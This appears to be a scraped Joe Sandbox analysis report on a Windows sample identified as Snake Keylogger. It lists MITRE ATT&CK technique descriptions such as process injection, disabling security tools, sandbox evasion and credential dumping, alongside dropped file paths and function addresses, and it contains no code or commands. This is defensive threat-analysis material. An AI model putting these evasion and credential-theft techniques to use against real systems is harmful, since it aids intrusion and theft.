Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_etzjvjg0.wmm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jiyp3wbu.rth.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n2r2dr4j.nie.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oogphext.xhn.psm1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Function 02677BB8 Relevance: 2.5, Strings: 1, Instructions: 1211
COMMON

Function 02677BA8 Relevance: 2.2, Strings: 1, Instructions: 991
COMMON

Function 06ADABED Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Function 06ADABF8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 0087ADC8 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Function 0087590D Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Function 008744C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre